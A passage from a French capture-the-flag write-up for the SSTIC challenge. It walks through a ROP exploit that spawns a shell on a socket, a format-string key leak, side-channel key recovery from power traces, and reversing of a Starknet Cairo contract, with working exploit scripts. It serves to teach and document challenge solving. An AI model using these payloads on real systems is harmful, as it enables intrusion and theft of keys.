r.recvuntil("Data in hex?(y/n)")
r.sendline("y")
data_r = r.recvuntil(b'B. Back to main menu\n')
r.recvuntil("Option:")
print(data_r)
parse_leak(data_r)

Obtention du shell

Maintenant que nous connaissons la valeur du secret protégeant SP et PC, nous pouvons contrôler où se trouve la stack. En la faisant pointer dans un chunk, nous contrôlons complètement le contenu de la stack après un longjump.

Ici il est donc possible de faire du ROP en faisant pointer PC sur un gadget, mais en fait nous n’en avons besoin que d’un seul. L’objectif est d’appeler system avec une commande contrôlée. Nous plaçons la commande dans un chunk, donc nous connaissons son adresse. Le gadget suivant dans la libc semble parfait:

0x0000000000075ea0 : ldp x1, x0, [sp, #0x48] ; blr x1

Il nous suffit de mettre l’adresse de la commande et l’adresse de system dans la stack, puis de déclencher un longjump en mettant un mauvais crc pour le chunk qui écrase l’env setjmp afin de sauter sur notre gadget qui va exécuter system.

Comme nous communiquons avec le frontend sur la socket de fd 5, il faut rediriger ce fd vers stdin et stdout. La commande que l’on utilise est donc

/bin/sh <&5 >&5

Le code python pour obtenir le shell:

def forge_env(new_pc,new_sp):
    ret = bytearray(env)
    ret[offset_pc:offset_pc+8] = p64(new_pc ^ ptr_guard)
    ret[offset_sp:offset_sp+8] = p64(new_sp ^ ptr_guard)
    return ret

GADGET_OFFSET = 0x0000000000075ea0
ADDR_PAYLOAD_OFF=0x15e24 + 0xc+0xa0
ADDR_STACK_OFF=0x15e24 +0xc+0x40
OFFSET_SYSTEM=0x479f4
def get_first_packet(addr_payload, addr_system):
    ret = b""
    ret +=  b"/bin/sh <3\x00"
    ret += b"\x00" * (0x40 - len(ret))
    ret += b"\xDD"*8
    ret += b"\x00"*0x40
    ret += p64(addr_system)
    ret += p64(addr_payload)
    padlen = 16 - (len(ret) % 16)
    ret += b"\xEE"*padlen
    payload = b'/bin/sh <&5 >&5\x00'
    ret +=  payload
    ret += b"\x00" * (0x40 - len(payload))
    return ret


first_data = get_first_packet(base_addr + ADDR_PAYLOAD_OFF, addr_system=libc_base+OFFSET_SYSTEM)
hexdump(first_data)

r.sendline("D")
add_data(1,first_data)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,first_data)
add_bad_data(2,b"\xff"*0x20 + b"\x33"*0x10)
r.sendline("D")
r.recvuntil("Option:")
add_bad_data(2,b"\xff"*0x20 + b"\x33"*0x10)
r.sendline("E")
r.recvuntil("Option:")
send_data = forge_env(libc_base + GADGET_OFFSET, base_addr + ADDR_STACK_OFF)
#add_data_bad_crc(5,send_data)
add_data(5,send_data)
add_data(2,first_data)
add_data_bad_crc(2,first_data) #trigger shell

Backend

Le fichier envoyé si on a le bon mot de passe est récupérable dans le dossier backendUser. Il sera analysé dans la partie suivante. De plus, pour communiquer avec le backend, il faut écrire sur le socket de fd 4. Nous pouvons par exemple utiliser les commandes suivantes:

#ecriture
cat payload >&4

#lecture
cat <&4 >output &
hexdump -C output

Exploitation du Backend

Nous n’avons pas le binaire complet du backend mais seulement la section .text Cela signifie que nous n’avons pas les données et surtout pas les tables de relocations ni interne ni externe. Nous devons donc guesser quelles fonctions de la libc sont appelées et nous n’avons pas l’adresse des variables globales. Cependant, l’offset de la clé est disponible.

Le backend reçoit du frontend des requêtes au format suivant:

struct req_resp
{
  int status;
  int command;
  struct chunk chunk;
};

Ce format est utilisé pour la requête et la réponse du serveur.

Les commandes peuvent être:

Vulnérabilités

La vulnérabilité la plus évidente est dans la commande 0x1337

p_packey = &main_buf->packey;
  if ( *(_DWORD *)nb_data == 10 )
    return 0LL;
  if ( LOBYTE(p_packey->is_encrypted) )
    data_size = main_buf->packey.encrypted_size;
  else
    data_size = main_buf->packey.dec_size;
  if ( LOBYTE(p_packey->is_encrypted)
    && (!main_buf->packey.encrypted_size
     || (main_buf->packey.encrypted_size & 0xF) != 0
     || main_buf->packey.encrypted_size > 0x100u)
    || LOBYTE(p_packey->is_encrypted) != 1 && (!main_buf->packey.dec_size || main_buf->packey.dec_size > 0x100u)
    || (unsigned int)maybe_crc((__int64)main_buf->packey.data, data_size) != main_buf->packey.crc )
  {
    return 0LL;
  }
  ((void (__fastcall *)(__int64, packet *, __int64))memcpy)(
    0x114LL * *(unsigned int *)nb_data + paquet_tab,
    p_packey,
    0x114LL);
  ++*(_DWORD *)nb_data;
  return 1LL;

La taille du chunk est vérifiée uniquement selon le booléen is-encrypted, Il est donc possible de fournir mettre une taille arbitraire dans encrypted_size si le booléen est à faux et inversement. Ensuite, dans les fonctions 0x1338 et 0x1339, la taille n’est pas vérifiée. Malheureusement, malgré des jours passés à faire des essais un peu exotiques avec CBC, la clé n’a pas été exfiltrée de cette manière.

Une autre vulnérabilité est dans la fonction de la commande 0x133e. Si le mot de passe envoyé est faux, le code exécuté est vulnérable.

D’abord une requête de réponse est forgée, puis effacée, puis la réponse constituée d’octets nuls est envoyée au client. Cependant, avant cela le mot de passe envoyé par le client est copié dans la pile à l’aide de… sprintf (que j’ai initialement confondue avec strncpy puisque cela avait plus de sens). Ensuite le serveur attend une seconde et renvoie le résultat du sprintf au client. Contrairement à toutes les autres requêtes, le résultat n’est pas envoyé dans le champ req->chunk->data mais directement dans req->chunk, ce qui écrase les métadonnées (par exemple la taille des données).

main_buf->status = 0;
memset(sprintf_result, 0, 33);
((void (__fastcall *)(char *, __int64, char *))sprintf)(sprintf_result, 33LL, main_buf->packey.data); 
main_buf->command = 0x1337; //will be erased
main_buf->packet.dec_size = 0x32; //will be erased 
((void (__fastcall *)(packet *, void *, __int64))memcpy)(p_packet, &unk_4788, 0x32LL); //will be erased
reset_response_buffer();                  // erase everything????
probably_send_back(a1);  // why send zeros?
((void (__fastcall *)(__int64))sleep)(1LL);// why?
main_buf->packet.dec_size = 32; //will be erased in the next line anyway 
((void (__fastcall *)(packet *, char *, __int64))memcpy)(p_packet, sprintf_result, 32LL);// why not in data?
probably_send_back(a1);                   // why send that anyway?
LODWORD(result) = 0;

Bien que nous n’ayons trouvé aucune logique à ce code, cela nous permet d’avoir une vulnérabilité de type format string

Éxploitation de la format string

Il existe des centaines de challenges de format string sortis depuis plus de dix ans, celui-ci est par exemple très similaire à un des premiers challenges de root-me sorti en 2012. Nous ne rentrons donc pas dans les détails de l’attaque. L’objectif est d’abord de leaker l’adresse du binaire pour obtenir l’adresse de la clé, puis de leaker la clé. En aarch64, toutes les valeurs de printf sont présentes sur la stack. Il est donc aisé de recupérer le numéro de l’argument correspondant à la valeur de LR stockée sur la pile en regardant à quel offset il est stocké. C’est l’argument 7.

Le code qui leak l’adresse du backend:

def gen_getkey(passwd):
    assert len(passwd) == 32
    ret = b""
    ret += p32(1)
    ret += p32(0x133e)
    ret += p32(0)
    ret += p32(32)
    ret += p32(1)
    ret += passwd
    ret += b"\x00" * (0x100 - 32)
    ret += p32(zlib.crc32(passwd))
    ret += p32(0)
    return ret


payload_to_send = b""
passwd = f"AAAAAAAA %7$lx".encode()
payload_to_send += gen_getkey(passwd + b"\x00" * (32 - len(passwd)))

Maintenant il faut trouver le numéro d’argument qui correspond à l’adresse de la chaîne qui est placée après AAAAAAAA dans le code précédent. De la même manière que précédemment nous trouvons 5. Il faut alors écrire une chaîne contenant l’adresse de la clé, puis lire une chaîne à cette adresse.

passwd = b"AAAAAAAA" + p64(new_addr) + b"CCCCCCCCDDDDDDDD"
pay = gen_getkey(passwd + b"\x00" * (32 - len(passwd)))
passwd = f"%5$s".encode()
pay += gen_getkey(passwd + b"\x00" * (32 - len(passwd)))
print (base64.b64encode(pay))

flag

Une fois la clé récupérée, nous pouvons déchiffrer le flag correspondant:

✅ SSTIC{ba75fa41a81c43c1095588250d45af850cfcec187ae269f2389829224ae6060b}

Étape 2D - Attaque hardware

Pour cette étape nous devons extraire une clé d’une mémoire sécurisée, à partir des résultats d’une attaque hardware. Nous disposons d’un fichier au format h5 ainsi qu’une description très vague de l’attaque qui a été menée:

Nous avons essayé d’extraire les informations en attaquant la mémoire sécurisée avec des injections de fautes mais sans succès 😒.
Pour information la mémoire sécurisée prend un masque en argument et utilise la valeur stockée XORé avec le masque. Les mesures faites pendant l'expérience sont stockées dans data.h5. 

La première étape consiste donc à deviner ce qui a été mesuré et dans quel contexte.

Contenu du fichier data.h5

Pour cela il faut commencer par regarder ce qui est contenu dans le fichier h5. Il s’agit d’un format dédié au stockage de données, en les regroupant par datasets. On peut l’ouvrir à l’aide de la bibliothèque h5py.

In [2]: import h5py

In [3]: f=h5py.File("./data.h5", "r")
   ...: print(f.keys())
   ...: 
<KeysViewHDF5 ['leakages', 'mask', 'response']>

n [14]: print(f["leakages"])
<HDF5 dataset "leakages": shape (25000, 600), type "<f8">

In [15]: print(f["mask"])
<HDF5 dataset "mask": shape (25000, 32), type "|u1">

In [16]: print(f["response"])
<HDF5 dataset "response": shape (25000, 4), type "|u1">

Il y a trois datasets, chacun a deux dimensions dont la première est de taille 25000. Nous pouvons donc deviner ici que l’expérience a été faite 25000 fois. Il faut maintenant deviner à quoi correspondent chaque dataset.

leakage dataset

Pour chaque essai parmi les 25000, il y a 600 données possibles. Nous commençons par afficher sur un graphe un de ces essais:

from matplotlib import pyplot as plt
plt.plot(f["leakages"][0])
plt.show()

Les données vont de 0 à 0.22, avec un pic. On peut deviner que c’est la consommation de courant qui a été mesurée, car c’est assez courant dans ce genre d’attaque. Nous savons aussi qu’un gltich a été généré, mais on ne sait pas comment (EM, courant, laser…). Cependant, il est probable que le pic de consommation soit dû au glitch. Nous confirmons cela en vérifiant qu’il n’y a qu’un seul pic sur les autres mesures.

mask dataset

Le texte d’introduction nous parle d’un masque qui serait donné à la mémoire en argument. Nous pouvons donc nous attendre à ce que ce dataset soit relié. Cependant, comme les données enregistrées sont de type u8 (unsigned int sur 8 bits), il est probable qu’il ne s’agisse pas de consommation de courant. Nous faisons l’hypothèse que chaque valeur correspond à une valeur d’un octet du masque. Nous avons 32 valeurs pour chaque essai parmis les 25000 donc nous faisons l’hypothèse que la taille du masque est 32 octets, mais nous n’avons pas d’information quant à l’ordre de ces valeurs,

Comme nous n’avons aucune information sur l’origine du masque, nous faisons l’hypothèse que le masque est choisi aléatoirement. Nous vérifions cela en calculant l’entropie de Shannon sur chaque byte du masque. Si l’entropie est proche de 8bits, alors les valeurs pour un octet du masque sont distribuées uniformément.

from scipy.stats import entropy
for byte in range(32):
    cnts = [0]*256
    for t in range(25000):
        cnts[f["mask"][t][byte]] += 1
    pks = [x/25000 for x in cnts]
    H = entropy(pks, base=2)
    print(f"byte {byte} ent = {H}")
    assert H > 7.99

reponse dataset

Ce dataset contient 4 valeurs, toujours les mêmes sur les 25000 essais. Il semble que ce soit 4 valeurs ascii formant le mot NACK, indiquant qu’un mauvais pin à été entré. On aurait pu penser que pour les essais avec un glitch réussi, on obtiendrait des valeurs différentes, mais ce n’est pas le cas. Ce dataset n’a pas été utile pour ce challenge.

Analyse du dataset leakage

Nous commençons par afficher sur un graphe quelques essais de l’expérience pour avoir une idée de la différence de mesure entre les différents essais:

Nous voyons que pour certains essais, il y a des mesures positives après le point de mesure 350. Nous pouvons deviner que c’est peut être quand le glitch a réussi à contourner l’authentification par PIN, et que l’exécution continue. Un autre guess serait de se dire que la mémoire sécurisée est lue uniquement dans ces cas là. En conséquence, uniquement les essais avec un glitch réussi nous intéressent. Pour éliminer les autres, nous nous basons sur la moyenne des mesures après le point de mesure 350.

okl = [] #liste des essais a garder

for i in range(25000):
    
    if np.mean(f["leakages"][i][350:480]) > 0.12:
        okl.append(i)

Il y en a environ 2800. Maintenant nous affichons ces essais sur un graphe et nous regardons uniquement la partie après 350.

La première partie est commune aux 2800 essais, mais nous voyons quelques différences sur la 2eme partie. De plus, il y a exactement 32 pics, exactement autant d’octets que le masque. Nous pouvons faire un énorme guess ici: chaque pic de la deuxième partie correspond à la lecture d’une valeur masquée, chacune avec un octet du masque différent.

Éxtraction de la clé

Nous regardons un peu plus en détail les pics correspondants aux lectures de valeurs masquées.

Les autres pics sont similaires: il y a 9 valeurs possibles. Encore un guess : il pourrait s’agir du poid de hamming des valeurs lues (de 0 à 8 inclus). En effet, il est courant que la consommation de courant soit proportionnelle au poids de hamming lors de la lecture d’une valeur. Maintenant nous allons encore faire un dernier guess: l’ordre des octets du masque dans le dataset mask sont dans exactement le même ordre que les 32 pics lectures que l’on pense observer. Pour un pic on peut donc observer les différents poids de hamming d’une valeur de la mémoire sécurisée xorée avec différents masques. On peut associer un niveau de consommation mesuré à un poids de hamming donné. En général, on observe une différence de poids de Hamming entre les lecture, mais ici le niveau de consommation de courant revient à 0 entre chaque lecture (du moins en dessous du niveau qui correspond à un poids de hamming de 0). Nous pouvons donc determiner exactement le poid de hamming de chaque octets lus.

On note donc h_{i,j} le poid de hamming mesure pour l’octet i sur la mesure j, H la fonction “poid de hamming”, chaque octet de la mémoire sécurise o_i et m_i,j les valeurs du masque pour la position i sur l’essai j. On a donc:

h_{i,j} = H(o_i \oplus m_i,j)

Ici une attaque CPA semble indiquée pour retrouver les octets de mémoire sécurisée. Mais grace au fait que les mesures contiennent les poids de Hamming de chaque lecture à la place des différences de poids de Hamming, il est très simple d’extraire la clé même sans CPA.

Pour cela, pour chaque octet i et un poid de hamming donne p, E_p est l’ensemble des mesures j telles que h_{i,j} = p. Ensuite il faut bruteforcer chaque valeur possible de o_i. Les valeurs candidates possibles sont celles satisfaisant:

\forall j \in E_p, H(o_i \oplus m_{i,j}) = p

Il faut recommencer le bruteforce pour chaque valeur de p, en espérant avoir une valeur pour o_i commune a la fin.

Pour résumer, on cherche les valeurs o_i telles que: \forall p \in [0,8], \forall j \in {x, h_{j,x} = p}, H(o_i \oplus m_{i,j}) = p

Dans ce challenge, il y a assez de mesures pour n’avoir qu’une seule valeur candidate pour chaque octet avec seulement une valeur de p, ce qui simplifie un peu le code ci-dessous (avec p = 6). Il est possible de valider que les valeurs candidates trouvées sont les bonnes en refaisant le bruteforce pour un autre point de Hamming et vérifier que les mêmes valeurs en résultent.

Le code python pour extraire la clé:

def h(x):
    return sum( [x&(1<<i)>0 for i in range(8)] )

hamms = { 0:1300, 1:1350, 2:1400, 3:1450, 4:1500, 5:1550, 6:1600, 7:1650, 8: 1700}
times = range(350+71,350+71+2*32,2)
key = []
for iii,time in enumerate(times):
    gg = set()
    for li in okl: #liste des leakages filtree, mais le code marche aussi avec la liste complete
        l = f["leakages"][li]
        if int(l[time] * 10000) == hamms[6]:
            gg.add((f["mask"][li][iii]))
    for i in range(256):
        ll = []
        for g in gg:
            ll.append(h(i^g))
        print(f"{i}:{ll}")
        if len(set(ll)) == 1 and ll[0] == 6:
            print("found {i:x}")
            key.append(i)
            break
print(key)

Nous n’avons aucune indication de à quoi servent ces 32 valeurs ni si elles sont dans le bon ordre, mais nous devinons qu’il s’agit de la clé privée que nous devons récupérer lors de cette étape puisqu’il ne semble y avoir rien d’autre à regarder dans le challenge. Nous pouvons donc déchiffrer le fichier de flag correspondant.

✅ SSTIC{15fb587e4dc04bbb7abb68fc6651f593d6eb0e4fd84bbfa800c6a66043bda86a}

Étape 3 - Reverse Cairo

Maintenant que nous avons les 4 clés privées, nous pouvons signer un message permettant de se logger comme administrateur. Pour cela, nous reprenons le code de l’étape 2A puisqu’il implémente le protocole musig2, et on génère les 4 signatures partielles que l’on agrège. La génération des nonces n’a pas d’importance ici.

m = b"We hereby authorize an admin session of 5 minutes starting from 2023-04-07 15:27:44.856924+00:00 (nonce: 040a16d22bf05b4dd72fb7eac6a7a98d)."
keyD = int.from_bytes(bytes([84, 100, 66, 80, 73, 22, 66, 249, 150, 209, 201, 74, 74, 200, 168, 219, 236, 102, 221, 11, 166, 111, 2, 113, 180, 230, 93, 85, 112, 2, 106, 155]),"big")
keyA = int(32397748964588217353341318317432783880090649436123362081161843221664749742056)
keyB = 0x81e8d3a6ad341da46e6361b7c1c376b5423e7ad04748077b93a0c20263305824
keyC = int.from_bytes(bytes.fromhex("04 c6 cb 31  e7 f3 ba 69 4c c0 1f 50 d6 57 3f 8d 22 be 2e 1b  d7 86 1e 17 6d 5b 4e d4 3c 13 f9 f9"),"big")
privs = [keyA,keyB,keyC,keyD]
signs = []

def get_nonce(*args):
    return 3

pubs = []
for p in privs:
    pub = p*G
    pubs.append(pub)

rss = []
Rss = []
RR = [Point.infinity(), Point.infinity(), Point.infinity(), Point.infinity()]
for i,p in enumerate(privs):
    rs, Rs = first_sign_round_sign(p,m,4,get_nonce)
    rss.append(rs)
    Rss.append(Rs)
    for i,R in enumerate(Rs):
        RR[i] += R

for i,p in enumerate(privs):
    a = Hash_agg(pubs,pubs[i])
    Rpp , s, _ = second_sign_round_sign(pubs,RR,m,a,p,rss[i])
    signs.append(s)

S = 0
for s in signs:
    S += s
    S %= order
print("signature : ")
print(Rpp,S)

Maintenant que nous sommes admin, nous pouvons accéder à la page d’achat implémentée par le fichier achat.py. La page demande plusieurs valeurs: un entier id identifiant de coupon, plusieurs entiers c, et deux entiers a et b. En examinant les fichiers sources de l’application web, il est clair que la validation se fait à l’aide d’un contrat dans la blockchain starknet. En effet l’application web contact un “séquenceur starknet” c’est à dire un noenœudud de la blockchain starknet à l’adresse blockchain.quatre-qu.art. La fonction “validate” de ce contrat est appelée pour valider les valeurs données par l’utilisateur. Le nœud starknet est aussi utilisé pour déployer le contrat, mais nous n’avons ni le code ni l’adresse de ce dernier.

Heureusement, il ne semble pas y avoir d’authentification sur le nœud starknet et nous pouvons utiliser l’API python starknet.py pour nous y connecter. Pour cela on reprend tout simplement le code du fichier config.py pour creer un objet “GatewayClient” qui permet d’accéder à des fonctions du nœud.

RPC_REMOTE_IP = "blockchain.quatre-qu.art"
RPC_URL = f"https://{RPC_REMOTE_IP}"
CLIENT = GatewayClient(RPC_URL)

Parmi les fonctions disponibles il y a get_block_traces_sync() qui permet de récupérer les transactions passées. Le résultat est un peu gros mais la partie intéressante est celle-ci:

{'call_type': 'CALL', 
'calldata': ['0x53796e61636b74697620726563727574652037393538', '0x3', '0x556aa1647f952d8767f996794e152de15f9599676c07fd3da8ce884718762e2', '0x75dee45af02a57b23aa38f8d134c760b64e65286f50bda86625f7adb9015b01', '0x7acfb3b6ea68ebfec525cbcb49e2c64e85642770b5ea7930b20a2aa06a4652c', '0x30bc0a00f979a5e2f59255b10a5', '0xab90cfa0d0aa1e98c5c966a664a33c4d'], 
'caller_address': '0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d', 
'class_hash': '0x1e1a447178291dba24dfe53f03e6beee131b94e16373e824a14597ffc53a981', 
'contract_address': '0x6b0a96cac8fada00f85569b27c0feee4b2fb1923159c6673b0d3c8b5f5a2ceb', 
'entry_point_type': 'EXTERNAL', 
'events': [], 
'execution_resources': 
{'builtin_instance_counter': {'pedersen_builtin': 6, 'range_check_builtin': 12}, 
    'n_memory_holes': 20, 'n_steps': 342}, 
    'internal_calls': [], 'messages': [], 'result': [], 
    'selector': '0x3d5dd63d7dc0de108d32d55bd8a8f2b62fd23d0938f9b5b2c6003ec0cb829ca'}

Nous pouvons non seulement voir l’adresse du contrat: 0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d mais aussi des arguments passés à une fonction de ce contrat. Ces arguments semblent correspondre exactement aux arguments attendus par la fonction validate! Malheureusement, ils ne marchent pas.

Une fois l’adresse du contact en notre possession, il reste à demander à notre noeud starknet de nous donner le code du contrat sous forme compilée:

curl "https://blockchain.quatre-qu.art/feeder_gateway/get_full_contract?contractAddress=0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d" > contract.json

Puis d’utiliser thoth pour obtenir une forme désassemblée et une forme decompilée

brice@C02DC24UMD6T /tmp % thoth local contract.json -b > disass.txt
brice@C02DC24UMD6T /tmp % thoth local contract.json -d > decomp.txt

Reverse du contrat

Grâce à thoth nous avons le code correspondant à la fonction validate qui nous intéresse. Le bytecode Cairo est un peu spécial:

Le code de validate commence par vérifier que l’argument id n’a pas été utilisé. Pour cela il vérifie que la valeur de id n’est pas dans le stockage et si c’est le cas, la valeur 1 est écrite avec comme clé l’id. Comme la valeur est écrite avant que l’id soit valide comme correct, et que le stockage est limité à environs 2000 valeurs, on peut facilement imaginer une attaque DoS du contrat, mais ça ne nous intéresse pas ici.

Ensuite, un hash est calculé sur toutes les valeurs du tableau code. Pour cela, le hash de pebersen est utilisé d’abord sur un nonce et sur la première valeur du tableau, puis récursivement sur le dernier hash généré et la valeur suivante du tableau. Un équivalent en python est plus clair:

def f(code, nonce):
    prev = nonce
    for c in code:
        h = pebersen(prev,c)
        prev = h
    return h

Le nonce est lu dans le storage: c’est la valeur pour la clé 0x2b1577440dd7bedf920cb6de2f9fc6bf7ba98c78c85a3fa1f8311aac95e1759. Nous le récupérons toujours grâce à notre client avec la fonction get_storage_at_sync. Il vaut 0x5B65565F4E4FC51283F9B627D5A075D8.

In [52]: hex(CLIENT.get_storage_at_sync(0x6b0a96cac8fada00f85569b27c0feee4b2fb1923159c6673b0d3c8b5f5a2ceb, 0x2b1577440dd7bedf920cb6de2f9fc6bf7ba98c78c85a3fa1f8311aac95e1759))
Out[52]: '0x5b65565f4e4fc51283f9b627d5a075d8'

Ensuite dans la fonction second, les valeurs a et b sont vérifiées avec le hash h. En fait, la valeur b doit être égale aux bits de poids faible de h et a aux bits de poids fort. De plus, a doit être inférieur à une valeur telle que h doit commencer par 5 zéros dans la représentation hexadécimale.

#verification done in "second" function
hh = f(nonce,code)
a = hh // 0x100000000000000000000000000000000
b = hh % 0x100000000000000000000000000000000
assert a < 0x1000000000000000000000000000

La valeur hid est calculée en hachant le nonce et l’id. Ensuite, la fonction _validate est appelée avec hid et code en argument.

Le fonction _validate lit 3 valeurs du tableau code et vérifie quelques assertions sur les valeurs de code et id. Cependant, pour faire cela une certaine fonction j est appelée et son code est obfusqué. En effet, voici le code désassemblé de j.

offset 218:        NOP                 
offset 220:        CALL                7                   # starkware.cairo.lang.compiler.lib.registers.get_ap
offset 222:        ASSERT_EQ           [FP], [AP-1] + 6    
offset 224:        ASSERT_EQ           [AP], [[FP-3]+2]    
offset 224:        ADD                 AP, 1               
offset 225:        ASSERT_EQ           [AP], 0x480680017fff8000
offset 225:        ADD                 AP, 1               
offset 227:        ASSERT_EQ           [AP], [FP-4]        
offset 227:        ADD                 AP, 1               
offset 228:        ASSERT_EQ           [AP], 0x400680017fff8000
offset 228:        ADD                 AP, 1               
offset 230:        ASSERT_EQ           [AP], [[FP-3]]      
offset 230:        ADD                 AP, 1               
offset 231:        ASSERT_EQ           [AP], 0x48507fff7fff8000
offset 231:        ADD                 AP, 1               
offset 233:        ASSERT_EQ           [AP], 0x484480017fff8000
offset 233:        ADD                 AP, 1               
offset 235:        ASSERT_EQ           [AP], 4919          # 0x1337            
offset 235:        ADD                 AP, 1               
offset 237:        ASSERT_EQ           [AP], 0x400680017fff8000
offset 237:        ADD                 AP, 1               
offset 239:        ASSERT_EQ           [AP], 4918          # 0x1336            
offset 239:        ADD                 AP, 1               
offset 241:        ASSERT_EQ           [AP], 0x484480017fff8000
offset 241:        ADD                 AP, 1               
offset 243:        ASSERT_EQ           [AP], [[FP-3]+1]    
offset 243:        ADD                 AP, 1               
offset 244:        ASSERT_EQ           [AP], [AP-12] * [AP-10]
offset 244:        ADD                 AP, 1               
offset 245:        CALL                abs [FP]            
offset 246:        RET                 

Ces valeurs en hexadécimal sont en fait du bytecode Cairo! Du bytecode est donc placé en mémoire avant de sauter dessus avec CALL abs [FP]

Une fois ce nouveau bytecode desassemblé, nous obtenons les congruences que les valeurs de code c_0, c_1 doivent satisfaire avec h l’entier égal à hid:

\begin{equation} h^2 \equiv c_0 \mod P \end{equation}

\begin{equation} c_0c_11337_{16} \equiv 1336_{16} \mod P \end{equation}

Cependant, le code désassemblé ne contient pas d’instruction RET. En fait, la valeur c_2h est placée juste après le bytecode construit en mémoire et doit valoir l’entier correspondant à l’instruction RET pour que la fonction j termine correctement. Cette valeur est 0x208B7FFF7FFF7FFE, donc on a:

\begin{equation} hc_2 \equiv \mathrm{208B7FFF7FFF7FFE}_{16} \mod P \end{equation}

À partir de ces équations on détermine comment calculer les valeurs de code.

\begin{equation} c_0 \equiv h^2 \mod P \end{equation}

\begin{equation} c_1 \equiv 1336_{16}(c_01337_{16})^{-1} \mod P \end{equation}

\begin{equation} c_2 \equiv \mathrm{208B7FFF7FFF7FFE}_{16}h^{-1} \mod P \end{equation}

Nous avons donc tout ce qu’il faut pour générer code, a et b a partir d’un id donne. Cependant, comme il y a une contrainte sur a (inferieur à 0x1000000000000000000000000000), il faut bruteforcer quelques valeurs de id.

Le code python qui nous génère des valeurs valides:

from fastecdsa.curve import Curve
from fastecdsa.point import Point

from starkware.crypto.signature.signature import (
    ALPHA,
    BETA,
    CONSTANT_POINTS,
    EC_ORDER,
    FIELD_PRIME,
    N_ELEMENT_BITS_HASH,
    SHIFT_POINT,
)
from starkware.python.utils import from_bytes, to_bytes

curve = Curve("Curve0", FIELD_PRIME, ALPHA, BETA, EC_ORDER, *SHIFT_POINT)

LOW_PART_BITS = 248
LOW_PART_MASK = 2**248 - 1
HASH_SHIFT_POINT = Point(*SHIFT_POINT, curve=curve)
P_0 = Point(*CONSTANT_POINTS[2], curve=curve)
P_1 = Point(*CONSTANT_POINTS[2 + LOW_PART_BITS], curve=curve)
P_2 = Point(*CONSTANT_POINTS[2 + N_ELEMENT_BITS_HASH], curve=curve)
P_3 = Point(*CONSTANT_POINTS[2 + N_ELEMENT_BITS_HASH + LOW_PART_BITS], curve=curve)


def process_single_element(element: int, p1, p2) -> Point:
    assert 0 <= element < FIELD_PRIME, "Element integer value is out of range"

    high_nibble = element >> LOW_PART_BITS
    low_part = element & LOW_PART_MASK
    return low_part * p1 + high_nibble * p2


def pedersen_hash(x: int, y: int) -> int:
    """
    Computes the Starkware version of the Pedersen hash of x and y.
    The hash is defined by:
        shift_point + x_low * P_0 + x_high * P1 + y_low * P2  + y_high * P3
    where x_low is the 248 low bits of x, x_high is the 4 high bits of x and similarly for y.
    shift_point, P_0, P_1, P_2, P_3 are constant points generated from the digits of pi.
    """
    return (
        HASH_SHIFT_POINT + process_single_element(x, P_0, P_1) + process_single_element(y, P_2, P_3)
    ).x


def pedersen_hash_func(x: bytes, y: bytes) -> bytes:
    """
    A variant of 'pedersen_hash', where the elements and their resulting hash are in bytes.
    """
    assert len(x) == len(y) == 32, "Unexpected element length."
    return to_bytes(pedersen_hash(*(from_bytes(element) for element in (x, y))))


def pp(x,y):
    return int.from_bytes(pedersen_hash_func(x.to_bytes(32,"big"), y.to_bytes(32,"big")),"big")

def f(c0,c1,c2):
    x,y = 0x5B65565F4E4FC51283F9B627D5A075D8, c0
    h = pp(x,y)
    x,y = h,c1
    h = pp(x,y)
    x,y = h,c2
    return pp(x,y)



P = 0x800000000000011000000000000000000000000000000000000000000000001
nonce = 0x5B65565F4E4FC51283F9B627D5A075D8
def gencx(id):
    idh = pp(nonce, id)
    c0 = pow(idh,2,P)
    cc0 = (c0 * 0x1337) % P
    c1 = (0x1336 * pow(cc0,-1,P)) % P
    c2 = (0x208B7FFF7FFF7FFE * pow(idh,-1,P))%P

    assert (idh * idh)%P == c0
    assert (c0 * 0x1337 *c1)%P == 0x1336
    assert (c2*idh)%P == 0x208B7FFF7FFF7FFE

    hh = f(c0,c1,c2)
    a = hh // 340282366920938463463374607431768211456
    b = hh % 340282366920938463463374607431768211456

    return idh,c0,c1,c2,a,b

for i in range(200000000):
    idh,c0,c1,c2,a,b = gencx(i)
    if (i % 0x1000 == 0):
        print(i)
    if a < 0x1000000000000000000000000000:
        print(hex(i),hex(c0),hex(c1),hex(c2),hex(a),hex(b))
        print(idh)
        raise

Cela nous permet d’atteindre la page d’achat qui contient l’étape finale

Étape finale

Il ne reste plus qu’à résoudre un captcha sous forme de puzzle pour pouvoir envoyer un e-mail à l’administrateur. Il existe de nombreux solveurs pour ce genre de puzzle, par exemple Zolver et jigsawlutioner, mais il semble que c’est plus rapide de le faire à la main que de les faire fonctionner.

Nous avons enfin obtenu l’email qui annonce la fin du challenge de cette année!

Merci à tous les auteurs du challenge!